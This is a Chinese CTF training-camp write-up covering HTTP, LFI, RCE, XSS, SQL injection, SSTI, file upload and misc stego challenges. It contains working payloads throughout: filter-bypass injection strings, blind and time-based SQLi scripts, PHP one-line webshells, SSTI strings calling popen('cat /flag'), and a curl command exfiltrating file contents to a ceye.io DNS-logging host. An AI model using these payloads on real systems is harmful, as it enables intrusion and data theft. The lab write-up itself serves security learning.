yulin夏令营

Basic

1、Http

Pass me GET parameter "key1", let key1 be YulinSec
首先先直接在url修改 -> http://101.35.209.40:44505/?key1=YulinSec

Pass me POST parameter "key2", let key2 be "YulinSec"
然后用Burp将Get转换成POST,在Body parameters处添加上 key2=YulinSec

You must come from "YulinSec://127.0.0.1"
在Headers处添加上 Referer: YulinSec://127.0.0.1 修改来源

You must be admin!
在Cookie处的 admin=0 表示非管理员,需将 0 改为 1 ,即 admin=1

Solved!

补充总结:

CTF中常用的http知识点总结

2、302

重定向,抓包后用Repeater重新发出去,获得重定向链接以及答案

Solved!

3、Encode

四个字符串直接解码(虽然不知道第一串用什么编码,但是可以猜是 Yulin )

Solved!

4、Method

http有很多种Method,那么将Get改为其他的尝试
最后可知将 Get 改为 OPTIONS

Solved!

5、Calc-1

发现只能输入一个数字,打开F12,看到 maxlength 大小为 1,
改为2,填 66 后提交

Solved!

6、Calc-2

打开F12,发现 check()函数返回值为 false,在console处(控制台)重新写一个 check() 并返回 true,回答问题
发现还是不行,打开上一题对比一下,可以发现上一题是 name="result" ,而这一题是 id="result" ,改成和上一题一样,回答

Solved!

7、回答不够快,考虑直接用python写脚本回答

from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.common.by import By
import time

service = Service("E:\Software\chromedriver\chromedriver-win64\chromedriver.exe")
brower = webdriver.Chrome(service=service)

url = "http://101.35.209.40:44504/"
brower.get(url)

//获取算式,用 F12 可以知道是 <p></p> 中的内容
content = brower.find_element(By.TAG_NAME, "p").text
result = eval(content) //计算
print(result)

brower.find_element(By.XPATH, "/html/body/form/input[1]").send_keys(result) //填写答案
brower.find_element(By.XPATH, "/html/body/form/input[2]").click() //点击提交

time.sleep(5)
//获得 Flag 并查看

Solved!

8、Https

You must be admin!

没有什么突破口,好像只有一个token,用base64解码后,有JWT、iat、jti、exp等字样,上网学习,得知是 jwt 一种token的加密方法

首先将 admin 的值改为 1

继续学习,发现可以将 Headers 中的 alg 的值改为 "none" ,表示不使用加密,然后令 signature 部分(第三部分)置空

最后两部分分别encode即可(注意最后的点要点上!!)

Solved!

【Basic】 全部解决

【Local File Inclusion】

LFI-1、

flag就在在当前目录的flag.php文件中

直接在 url 后面加上 ?file=flag.php 来访问同目录下的 flag.php 文件

LIF-2、

访问 /?file=flag.php -> tips:flag在当前目录的某个文件中

尝试访问该目录中的文件

利用 Burp 抓包,在 GET 请求 body 加上 来列出目录中文件,发现 flag_754297461.txt 这个文件比较可疑

直接在 url 后面加上 ?file=flag_754297461.txt 来访问文件

LFI-3、

重复 T2 的操作,发现 php://input 没法用了,尝试用 data:// 来访问该目录中的文件

data:// 的操作为,在 url 后加上 ?file=data://,

即直接在 url 中加上 php 代码

发现 flag_21843732549.txt ,访问得到 flag

LFI-4、

访问 flag.php 文件,说 flag 就在这里,但没有显示,阅读学习资料后得知

“要将内容进行编码 base64 后显示,再自己解码”

在 url 后加上 ?file=php://filter/read=convert.base64-encode/resource=flag.php

表示访问 flag.php ,并用 base64 解码

得到字符串后再自己解码

LFI-5、

LFI-6、

上传图片马(图片+一句话木马),接着可以用 php://filter 来执行图片中的代码

但是!!! php://filter 被加到黑名单里了,用不了

.htaccess 文件也上传不了(用来更改特定类型文件的处理方式,使其被当作PHP代码执行)

最后问学长才知道用 jpg 图片是做不了的!!!

卡了半天,重新开始

发现还能传输 zip 文件,那么可以试着在zip文件里放个php文件,然后用 zip:// 或者 phar:// 来访问运行

注意是在 index.php 中运行!!!!

http://101.35.209.40:21005/index.php?file=phar://uploads/56ac2dfd390daf37419ed473a8d709aa.zip/1

然后就和上面一样了

LFI-7、

首先观察主要的代码,发现 session_start() ,要用 session包含漏洞 来做

首先我们需要传入 Cookie,以此来创建一个 sess_... 类的文件,这个文件中的 username 可以理解为可执行的php代码,所以我们需要在 url 中传入 a,其值为一句话木马

最后访问这个 sess 文件就可以找到 flag 的文件了

Session 文件包含漏洞

【Local File Inclusion】 全部解决

RCE

RCE-0

先看看当前目录有什么 101.35.209.40;ls

发现没有什么重要的,往上翻一层 101.35.209.40;cd ..;ls

没有发现flag,继续往上翻 101.35.209.40;cd ..;cd ..;ls

继续 101.35.209.40;cd ..;cd ..;cd ..;ls ,发现 flag_3124131231 文件

101.35.209.40;cd ..;cd ..;cd ..;cat flag_3124131231 即可

注意:

所以尽量多用 ';' ,因为不知道会出现些什么奇怪的错误

RCE-1

输入过滤了&|;

查找资料,发现可以使用 %0a ,但是需要在 Request 里使用

然后就和上一题差不多了

RCE-2

过滤了好多字符 -> " ' \ $ ` ? - [ ]

过滤了几个指令 -> cat ls

STFW

这种方式主要是针对文件名那几个字符被过滤时可以使用,就是用?或者*来代替具体的字符
但一定注意这是针对文件名的哈,命令是肯定不能直接这么用的,但linux下命令其实也是文件
比如说像cat就对应文件/bin/cat,ls就对应文件/bin/ls等等,我们也可以用类似的方法进行构造:
ls -> /bin/l?
cat -> /bin/c??
像preg_match("/.*f.*l.*a.*g.*/", $ip)这种flag字样都是被过滤了的,我们用通配符就很好用:
cat /flag -> /bin/ca? /????

试了一下好像只有 /bin/c?? 有用

根据前几题的经验,可以知道 flag 文件所在位置,庆幸的是 cd 可以使用,并且 flag 也没有被加入黑名单

;cd ../;cd ../;cd ../;type flag_*

(这个 type 其实是 Windows 系统中能输出文件内容的命令,是我看错了拿来用的(((,没想到 Linux 下真的有个同名的命令,作用是显示指定命令的类型,但我看也可以用来显示文件名(((误用))

可以得到 flag 文件名为 flag_12312321

然后就 ;cd ../;cd ../;cd ../;/bin/ca* flag_12312321

虽然说满屏乱码,但是查找一下可以发现 flag 在最后

RCE篇之命令执行中的各种绕过

RCE-3

过滤了好多字符 -> / " ' $ ` - [ ]

过滤了几个指令 -> cat ls

发现 / 被过滤了,有点难办,继续 STFW

偶然发现

那就和上一题一样,得到 flag 的文件名

稍微试了一下发现 sort (用于输出)可以使用,那就直接搞得到 flag

(话说上一题和上上题好像在给我提示说用 url编码 和 base64编码 (()

RCE-4

稍微试了以下,好像无回显

;ls;sleep 5 发现网页在加载,sleep 命令确实有执行,证明确实无回显

然后就是 STFW

RCE绕过之无回显

有前几题可以知道 flag 文件位置,尝试用写入的方法,但是失败了

创建文件后文件无法访问,会不会是被删除了,还是命令被过滤了

反正写入这条路是走不通了,看看其他方法

发现 Ⅵ.DNS请求 比较好懂,试试这个

利用 curl 命令.域名 这个操作,获得回显(只会显示第一行,会替换掉``中的内容)

那就简单了,直接 ;curl cd ../;cd ../;cd ../;cat flag_*.abcdef.ceye.io (此处链接使用自己的 Identifier )

获得输出

【RCE】 全部解决

XSS

XSS-1、

发现什么都没有,先看看 F12

发现隐藏的信息

在一般的测试中,我们通常使用alert()来触发一个弹窗,表示已经成功向页面中注入了一段恶意js代码。当你成功让页面自动触发一个弹窗,你将会得到flag。(当然,自己手动触发的不算~)

那么我们就在 url 处借助 name 注入 alert() -> ?name= , 得到 flag

XSS-2

STFW

但是没用,F12 看一下,发现变成了编码,可能是尖括号被过滤了

试试其他的,看了下网络源代码,发现只有单引号,双引号变成了 &quot,只能用单引号

那就只能考虑注入事件属性来 xss ,可以考虑用 onfocus 和 onerror (为了处理第二个单引号)

<input name=keyword value='' onfocus=alert(1) onerror=''>

XSS-3

查看源代码发现是双引号,那上一题的代码换双引号试试,没想到竟然成功了(

XSS-4

稍微试了一下,发现 on 被过滤了 on -> o_n ,script 也被过滤了

Web漏洞-XSS绕过和pikachu靶场4个场景(三)

<a href=javascript:alert('1') > 1</a> 就成功了

<img src=javascript:alert(1)> 却失败了,可能是版本不够

XSS-5

稍微试了一下发现 script 被删除了,那么直接双写就好了

alert(1)

删完一个 script 后就只剩下

XSS-6

过滤的字符 -> " < > &

但是发现源代码里将输入传到了超链接里,尝试使用 javascript:alert(1) 输入

发现超链接中 <a href="javascr_ipt:alert(1);"> ,javascript 被过滤了

可以尝试换行来防止过滤,注意换行要在 url 输入,用 %0a

类似这样 -> ?keyword=javascri%0apt:alert(1);&submit=添加友情链接

XSS-7

稍微试一下 ?keyword=...

过滤的字符 -> " < > ,发现是在 keyword 里面过滤的

因为查看源代码,看到还有三个变量可以输入,分别试了一下,发现只有 t_sort 有用

试一下发现 < > 被过滤了,上网找找有什么好用的事件

有个 onmousemove ,用法 ->

但是同时还要将 t_sort 的 type 改成 text 或者 button

?t_sort=" onmousemove=alert(1) type="text

【XSS】 全部解决

SQL Injection

学长精品推荐学习资料() -> SQL注入由简入精

SQL-1、

首先可以判断是数字型的查询

我们需要用 order by(或 group by )来判断当前表的列数

?id=1 order by 3

能正常输出且最大,那列数就是3

接着获取当前数据库名称

?id=-1 union select 1,2,database()

id=-1 是为了查询的那一行不回显

然后就可以看看表名了

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

发现目标 flag 表,看看表里的列名

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='flag'

flag 表里的列名有 id 和 flag,那就直接查询了

?id=-1 union select 1,2,flag from flag 

这样就差不多是注入的完整流程了

SQL-2、

判断为数字型查询

?id=2 union select 1,2,databese()

可以通过写错命令来获得库名

?id=2 union select 1,2,extractvalue(1,concat(0x7e,database()))

或者通过 extractvalue() 函数来报错获得库名

原理如上

后面可以

?id=2 union select 1,2,extractvalue(1,concat(0x7e,___))

将下划线部分替换成注入命令就可以通过报错来获得命令的回显了

那么流程就和上一题差不多

但是有一个问题,就是报错默认只能显示32个字符,可以用 substring() 函数解决

试了一下,好像最多只能显示32个字符,但是可以改变开始输出位置

?id=2 union select 1,2,extractvalue(1,concat(0x7e, substring((select flag from flag),1,30) ))
?id=2 union select 1,2,extractvalue(1,concat(0x7e, substring((select flag from flag),31,30) ))

然后接起来就ok(虽然有点麻烦()

也可以使用 updatexml() 函数,或 floor() 函数,详细的可以看上面的学习视频

SQL-3、

http://101.35.209.40:20003/?id=1 and ascii(substring((select flag from flag),1,1))=ascii('a')

类似这样,上面这行注入就什么都不会显示,返回的是 False

http://101.35.209.40:20003/?id=1 and ascii(substring((select flag from flag),1,1))=ascii('Y')

而像上面这行注入就会有显示(比如本题中显示'OK'),返回的是 True,证明得到的第一个字符为 'Y'

那就可以写个 python 脚本来一个一个试,最后得到完整的回显(我是写一个一个试,虽然会跑很久(()

(也可以写二分,但是感觉会写出 bug 然后调很久(()

import requests

headers = {"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Edg/128.0.0.0"}

now = 1
st = ""
while 1:
    ox = 33 # !
    x = chr(ox)
    url = f"http://101.35.209.40:20003/?id=1 and ascii(substring((select flag from flag),{now},1))=ascii('{x}')"
    res = requests.get(url)
    while 'OK' not in res.text:
        ox += 1
        x = chr(ox)
        url = f"http://101.35.209.40:20003/?id=1 and ascii(substring((select flag from flag),{now},1))=ascii('{x}')"
        res = requests.get(url)
    st += x
    now += 1
    print(x)
    if x == '}':
        break
print(st)

写的不是很好看()

SQL-4、

其实原理和上一题差不多,也是一个字符一个字符尝试,但是这道题返回 True 也没有回显,那么可以使用 sleep() 函数来判断字符是否正确

那还是用 python 写个脚本来试

import requests

headers = {"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Edg/128.0.0.0"}

url="http://101.35.209.40:20004/?id=1 and if(ascii(substr((select flag from flag),1,1))=ascii('Y'),sleep(2),sleep(0)) "

now = 1
st = ""

while 1:
    ox = 33
    x = chr(ox)
    url = f"http://101.35.209.40:20004/?id=1 and if(ascii(substr((select flag from flag),{now},1))=ascii('{x}'),sleep(2),sleep(0))"
    res = requests.get(url)
    t = res.elapsed.total_seconds()
    while t < 2 or t > 2.5:
        ox += 1
        x = chr(ox)
        url = f"http://101.35.209.40:20004/?id=1 and if(ascii(substr((select flag from flag),{now},1))=ascii('{x}'),sleep(2),sleep(0))"
        res = requests.get(url)
        t = res.elapsed.total_seconds()
    st += x
    now += 1
    print(x)
    if x == '}':
        break
print(st)

但是这道题有一个相当重要的点,就是 t 的限制范围和网络一定要搞好,不然网卡了接收也会变久,然后就被判断为 True ((

SQL-5、

经典过滤,过滤了 空格 and or union select +等

绕过空格可以用 %0A

绕过 and or union select 等关键词可以用大写绕过,例如 aNd Or uNion sElect等

注意本题的闭合方式是 ?id=1")) ... or (("1"="1,稍微试一下就知道

那么就可以注入了

?id=0"))%0AUnion%0ASelect%0A1,(Select%0Aflag%0Afrom%0Aflag),3%0AOr%0A(("1"="1

SQL-6、

小试一下

提示是getshell

sql注入getshell的几种方式

那就模仿上文

?id=0 union select 1,0x3c3f706870206576616c28245f524551554553545b315d293b3f3e,3 into outfile '/app/public/666.php'--+

然后用蚁剑连接就行

SQL-7、

有点奇怪,直接POST传就出了,看看是不是题目有问题()

SQL-8、

宽字节注入

那就照样来绕过 addslashes() 函数

?id=0%df" union select 1,2,flag from flag --+

SSIT

SSIT-1、

入门

SSIT-2、

绕过了 {{

看起来好像第三种方便一点(

import requests

headers = {"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Edg/128.0.0.0"}
url = "http://101.35.209.40:7772/"
for i in range(0,500):
    # data = {"text": "{{ ().__class__.__bases__[0].__subclasses__()["+str(i)+"] }}"} 7771
    data = {"text": "{%print( ().__class__.__base__.__subclasses__()["+str(i)+"] )%}"}
    res = requests.post(url=url, headers=headers, data=data)
    if 'os._wrap_close' in res.text:
        print(i)
        break
    # print(res)

其实和上一题差不多

注意 data 里面要用 ().__ 而不是 "".__ ,不然双引号会闭合

SSIT-3、

过滤了 [ ] ,则

感觉第一种好写点

SSIT-4、

被坑了(

如果在 POST 里面传输数据的话就要将 request.args 替换为 request.values

然后,text 等于后不要加空格!!!

比如
text={{...
不要写成
text = {{...

!!!

然后就照前面搞了

text={{ ()[request.values.class][request.values.bases][0][request.values.subclasses]()[127][request.values.init][request.values.globals]['popen']('cat /flag').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__&init=__init__&globals=__globals__

SSIT-5、

事实就是被骗了,chr函数在

().__class__.__base__.__subclasses__()[127].__init__.__globals__.__builtins__.chr

这里面

然后就和前面一样(

text={% set  chr=().__class__.__bases__[0].__subclasses__()[127].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__base__.__subclasses__()[127].__init__.__globals__[chr(112)+chr(111)+chr(112)+chr(101)+chr(110)](chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)).read() }}
# {{().__class__.__base__.__subclasses__()[127].__init__.__globals__['popen']('cat /flag').read()}}

这里面引号不用编码

SSIT-6、

过滤了 .

那就是依样画葫芦了(感觉这份学习资料挺全的((

{{ ()['__class__']['__base__']['__subclasses__']()[127]['__init__']['__globals__']['popen']('cat /flag')['read']() }}

SSIT-7、

那就将关键词编码就OK

{{ ()['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x5f\x5f']['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[127]['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x70\x6f\x70\x65\x6e']('cat /flag').read() }}

SSIT-8、

STFW

SSTI 绕过方法总结

SSTI模板注入

特别注意上面这一条,就是被这一条折磨了好久,所以能不用 pop 就不用

那么我们写的 payload 应该为

{{().__class__.__base__.__subclasses__()[127].__init__.__globals__['popen']('cat /flag').read()}}

则可以

text={%set qwq=dict(a=a)|join|count%} #【qwq=1】
{%set n=dict(aaaaaaaaa=a)|join|count%} #【n=9】
{%set th=dict(aaaaaaaaaaaaa=a)|join|count%} #【th=13】
{%set t=dict(aa=a)|join|count%} #【t=2】
{%set e=n*t%} #【e=18】
{%set num=n*th+n+qwq%} #【num=127】
{%set gannum=e*t+n+qwq+qwq%} #【gannum=47】
{%set p=dict(pop=a)|join%} #【p=pop】
{%set s=lipsum|string|list|attr(p)(n)%} #【s= 】
{%set x=lipsum|string|list|attr(p)(e)%} #【x=_】
{%set cl=(x,x,dict(cla=a,ss=a)|join,x,x)|join%} # 【cl=__class__】
{%set ba=(x,x,dict(ba=a,se=a)|join,x,x)|join%} #【ba=__base__】
{%set su=(x,x,dict(subclas=a,ses=a)|join,x,x)|join%} # 【su=__subclasses__】
{%set ge=(x,x,dict(geti=a,tem=a)|join,x,x)|join%} # 【ge=__getitem__】
{%set in=(x,x,dict(in=a,it=a)|join,x,x)|join%} # 【in=__init__】
{%set gl=(x,x,dict(glo=a,bals=a)|join,x,x)|join%} # 【gl=__globals__】
{%set bu=(x,x,dict(buil=a,tins=a)|join,x,x)|join%} # 【bu=__builtins__】
{%set ch=dict(c=a,hr=a)|join%} # 【ch=chr】
{%set po=dict(po=a,pen=a)|join%} #【po=popen】
{%set re=dict(re=a,ad=a)|join%} # 【re=read】
{%set get=dict(get=a)|join%} # 【get=get】
{%set  gc=()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(num)|attr(in)|attr(gl)|attr(get)(bu)|attr(get)(ch)%} # gc为chr()函数,为了得到"/"
{%set pa=(dict(cat=a)|join,s,gc(gannum),dict(flag=a)|join)|join%} # 【pa=cat /flag】
{{()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(num)|attr(in)|attr(gl)|attr(ge)(po)(pa)|attr(re)()}}
# ().__class__.__base__.__subclasses__()[127].__init__.__globals__['popen']('cat /flag').read()

这种就先写出 payload,然后再想想办法把过滤的关键字替换掉就ok

SSIT-9、

其实和上一题差不多,因为刚刚写的都把关键字给避开了,所以改一改,直接数字用上就ok

【SSIT】 全部解决

File Upload

Upload-1、

上传一句话木马,将格式改为 jpg ,上传的时候用 bp 抓包,将 jpg 格式改为 php , 然后就可以连蚁剑了,flag在根目录里

Upload-2

上传一句话木马,将格式改为 jpg

题目提示说 .htaccess 文件,搜索后发现可以在文件中添加

AddType application/x-httpd-php .jpg

修改 jpg 文件的 MIME 类型,使其能够在浏览器中作为脚本执行,通俗讲就是可以将 jpg 文件当作 php 代码,然后蚁剑连接找 flag

Upload-3

做法和第一题差不多,因为没有限制 MIME 的类型

有的话做法如下:

Upload-4

现在传入 jpg 文件还会检查文件头标志,那么可以找一张图片,和一句话木马结合,然后做法如题一

Upload-5

str_ireplace() 不区分大小写

可知一些后缀被加入了黑名单,会被删除,但发现只会删除一次

做法同1

Upload-6

str_replace() 区分大小写

那就改成 pHp 等等,反正识别的时候不区分大小写(

做法同1

Upload-7

注意路径和文件名都要改,然后不用手动解码,因为这是在 url 中的,网页会自动解码

最后就可以连接上 http://101.35.209.40:30007/upload/sl.php

!!注意因为截断,sl.php 这个文件就会传输进去,所以可以连接上这个文件

最后找 flag

Upload-8

发现和上一题有点区别,在网上查查

改改 body 里的路径,注意 %00 要 url-decode,因为这里的路径网页并不会自动解码,文件名可以不用改

最后连接上 666.php 就可以了

Upload-9

上传黑名单,多次尝试后

所以将 .php 改为 .php5 ,然后蚁剑连接

学习文献:

【网络安全】文件上传黑白名单及数组绕过技巧

文件上传漏洞总结

Upload-10

题目提示条件竞争,STFW

其实挺好理解的,就是在上传文件和检查文件之间其实有一点点时间空隙,那我们可以直接传入以下代码

<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[123]);?>');?>

只要在完成安全检查(检查后缀)之前进行访问,就可以在执行代码然后再当前目录下生成另一份 php 代码,再进行蚁剑连接

所以直接用 Burp 爆破,传两份访问请求,一份用于上传,一份用于访问

但是出意外了,怎么也访问不到(

首先有第一个问题

<?php fputs(fopen('shell.php','w'),'<?php eval($_POST['cmd']);?>');?>

但是

所以只写入了下面这些东西

'<?php eval($_POST['

但是一直访问不到的问题还没解决

因为我一直用的是群里发的 burp 的社区版

然后研究了一下,发现我一直忽略了 ->

换上了专业版之后,发送的速度一秒能传几百条,很快就访问成功了(

破案了

Upload-11

先学习一下

上传一张 gif ,然后再下载下来,用 Winhex 打开,对比一下和原来那张有哪里是一样的

然后在一样的部分上换成一句话木马后,上传,连接

?file=upload/1089780701.gif

但是我又出锅了,flag 怎么都显示不出来(

研究了好久 + 问学长 之后,才知道蚁剑有的时候会缓存奇怪的东西,导致原本的东西显示不出来

只要清一下缓存就好了

Upload-12

提示 move_uploaded_file(tempfile,img_path) 有其他的漏洞

STFW

move_uploaded_file函数特性

类似的,上传一份 php 文件 1.php

然后将文件名命名为 1.php/.

利用 /. 绕过黑名单检测,成功上传后蚁剑连接 1.php 就行了

Upload-13

看 Hint ,仔细翻一下上传的源代码

先判断 MIME 类型,然后根据 '.' 来分割文件名,判断最后一个字符串是否在白名单内,是的话就取第一个字符串和最后一个字符串组成文件名再上传

想半天,感觉好像没什么漏洞(

还是 STFW

文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集

(还是 STFW 厉害)

原理大概是令 $_POST['save_name'] ->

$_POST['save_name'][0]='1.php/';
$_POST['save_name'][2]='jpg';
$file=$_POST['save_name'];

然后此时 $file 就是一个数组了,所以不会执行下面这一步

那后面的就好理解了,照代码模拟下来就会发现传入的文件名变成了 1.php/. ,然后连接就行

哈哈哈这个操作真的牛逼

【File Upload】 全部解决

签到题

见此 https://www.cnblogs.com/BUGCAT/p/17781082.html

[Baby]babyphp

flag1

对于flag1,只有传入的a和b的值不相等,而且SHA1加密后的值相同才会出现flag

php对数组进行sha1加密都为false,所以我们传入两个数组进去

http://101.35.209.40:2003/?a[]=1&b[]=2

flag2

代码中给提示说要 cat /flag ,那就是要将 Yu 赋值为 exec('cat /flag');

但是!这种肯定不是暴力碰撞出来的(,所以只能找工具生成

看到工具生成的两个文件后面有乱码,为了不影响代码就可以在 exec('cat /flag'); 加上 ?> 来终止 php 的执行

这里有几个要注意的点(卡了好久):

工具生成的文件中会有Hex值为 00 的字符,如果是直接复制粘贴文件内容然后到 url 处输出就错了,首先 00 会变 20 (空格),还有一些乱码也可能会被错误识别,正确的做法是直接将文件中的内容拿去 url 编码,然后贴在 url 里面就OK了(这里直接用Burp一条龙处理就OK)

exec('cat /flag'); } ?> 这种其实是错误的,是不需要花括号的,我本来以为 eval() 函数是一个直接代码替换,虽然说可以这么理解,但是编译器会首先检查 eval() 中的字符串是否是可执行的代码,是的话才能替换,所以如果加了花括号,就会报错,因为缺少了匹配的花括号( eval() 函数内的代码字符配对和函数外的完全无关 )

最后有个最难受的,就是 exec('cat /flag'); 这条指令,cat 虽然是输出用的,但是这里要输出到一个文件或变量中去,就要改为 exec('cat /flag',outp);outp 这个变量里,最后再输出就行了,所以要传入的代码是这样的

exec('cat /flag',$outp);
print_r($outp);
?>

【[Baby]babyphp】 全部解决

[Baby]babyunserialize

flag1

对于flag1,观察代码可知会将 POST 数据中的 auth 反序列化,然后判断其中的值,那么只要创建有对应值的数组(类好像没法反序列话) auth,然后 POST 传入就行

!!注意传 POST 时 Content-Type 这行要加

[Easy]♪绝♩对♫音♬感♪

这道题做做停停,终于搞出来了

下载音频,看看波形图,好像没什么东西

用 Winhex 或类似软件打开,看看头和尾,末尾有这么一句话

The interval of each byte data is 9 and the first byte is at the beginning of the wav data

每隔九个,我把编辑器设置一下

这样就比较好看,如果有隐藏信息的话就是一排下来

然后就可以翻到这个东西,看起来像一封邮件,和题干里说的一样

但是没有找到三体((,接下来就不会做的了

闲的时候水水群,看到这么一段聊天(

原来题干里有提示,赶紧重新仔细看一下题干,邮件特别标注了英文名 Spam ,网上搜搜,有惊喜发现

还得是群里的佬

然后就尝试把文本里的邮件给抽出来

一开始脑抽了,一个一个对照然后打在记事本里,结果就是打了一堆小错误,换行也没有注意

检查半天解码后得到的是乱码,直接放弃人工赛道了,不如自己写个 C++ 程序提取

相当简单,没十五分钟就提取出来了(16进制编码)(我前面到底在干什么

然后把编码去解码一下就得到邮件的文本了,再去 spam mimic 网站解码一下就得到 flag 了

CTF中Crypto大全(还在更新)

[Easy]♪绝♩对♫音♬感♪ 解决

[Middle]马赛克星球

恢复图片了!

下载附件,发现图片很大,23.1M,但是分辨率只有 648*328 (这数字一看就是故意搞的()),所以我们可能要修改一下图片的尺寸

STFW

CTF Misc(1)图片隐写基础以及原理,覆盖了大部分题型

通过CRC32爆破修改图片的宽高 ctf-misc图片隐写

所以来进行CRC爆破

用hex打开图片看看

import os
import binascii
import struct

crcbp = open("D:\pythonProject\Recycle.png", "rb").read()    #打开图片
# print(crcbp)
for i in range(10000):
    for j in range(10000):
        data = crcbp[12:16] + \
            struct.pack('>i', i)+struct.pack('>i', j)+crcbp[24:29]
        crc32 = binascii.crc32(data) & 0xffffffff
        if(crc32 == 0x8990B635):    #图片当前CRC
            print(i, j)
            print('hex:', hex(i), hex(j))
            break

爆破后可以得到图片的分辨率为 3000*4200 ,在hex中进行修改,可以得到完整图片,下面附有flag

找到隐藏的信息了!

继续看看hex,发现最后有一段python代码

from PIL import Image
import math
import random

final_image = Image.open("base.png")
flag_image = Image.open("flag.png")

final_image_width = final_image.width
final_image_height = final_image.height

flag_image_width = flag_image.width
flag_image_height = 156

prime_li = []
c_li = []

if __name__ == '__main__':
    a = 0
    c = 0
    while 1:
        a += 1
        if is_prime(a):
            prime_li.append(a)
            c += 1
            if c > flag_image_width * flag_image_height:
                break
    for i in range(0, len(prime_li) - 1):
        value = (prime_li[i] + prime_li[i + 1]) * (prime_li[i + 1] - prime_li[i])
        if value in c_li:
            while value in c_li:
                value -= i
        c_li.append(value)

    k = 0
    for num in c_li:
        try:
            final_image.putpixel(
                (num % final_image_width, int(num / final_image_width)),
                flag_image.getpixel((k % flag_image_width, int(k / flag_image_width))),
            )
            k += 1
        except:
            print(f"The num: {num} is too big")

    for yy in range(0, final_image_height):
        for xx in range(0, final_image_width):
            if (yy * final_image_width + xx) not in c_li:
                final_image.putpixel(
                    (xx, yy),
                    (
                        random.randint(0, 255),
                        random.randint(0, 255),
                        random.randint(0, 255),
                    ),
                )

    final_image.save("mosaic.png")

仔细读了一下,发现是把flag的图片写入给的图片,然后其他的地方就随机生成色块

我们就可以依照上面,试着写出解密的代码

import math
from PIL import Image

shai = []
prime_li = []
c_li = []
final_image = Image.open("Recycle(2).png")
flag_image = Image.open("flag.png")

final_image_width = final_image.width
final_image_height = final_image.height

flag_image_width = flag_image.width
flag_image_height = 156

# Total = 500000000
# 
# shai = [True] * (Total+1)
# shai[0] = shai[1] = False
# for i in range(2,int(math.sqrt(Total+1))):
#     if shai[i]:
#         for j in range(i*i, int(math.sqrt(Total+1)), i):
#             shai[j] = False
#
# print("Part 1 Finish")
# print(Total)
#
# def is_prime(x):
#     if x < 0:
#         return False
#     return shai[x]

# 一开始写了一段埃筛发现不好判断筛的范围,可能会跑很久()

def is_prime(x):
    if x <= 1:
        return False
    for i in range(2, int(math.sqrt(x)+1) ):
        if x % i == 0:
            return False
    return True

if __name__ == '__main__':
    a = 0
    c = 0
    while 1:
        a += 1
        if is_prime(a):
            prime_li.append(a)
            # print(f"qwq {a}")
            c += 1
            if c > flag_image_width * flag_image_height:
                break
    for i in range(0, len(prime_li) - 1):
        value = (prime_li[i] + prime_li[i + 1]) * (prime_li[i + 1] - prime_li[i])
        if value in c_li:
            while value in c_li:
                value -= i
        c_li.append(value)
        # print(f"qwq {value} {len(c_li)} {len(prime_li)}")
    print(len(c_li))
    k = 0
    for num in c_li:
        try:
            flag_image.putpixel(
                (k % flag_image_width, int(k / flag_image_width)),
                final_image.getpixel((num % final_image_width, int(num / final_image_width))),
            )
            k += 1
        except:
            print(f"The num: {num} is too big")
            break

    flag_image.save("mosaic.png")

这里的 Recycle(2) 就是上面那张图片中间的乱像素点,要把它截出来,这个比较考验技术力和耐心((

现在就只需要看看 flag_image.width 定多大合适

经过多次尝试,以及翻了Akejyo大佬的blog(

2023·御林安全招新MISC部分

得知定 38 刚好不会报 "The num: {num} is too big"

然后就得到

看起来挺有规律的一张图(至少不是乱码),STFW,试试用 npiet 解一下

[Middle]马赛克星球 解决

posted @   zhln  阅读(64)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 记一次.NET内存居高不下排查解决与启示
· DeepSeek 开源周回顾「GitHub 热点速览」
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
点击右上角即可分享
微信分享提示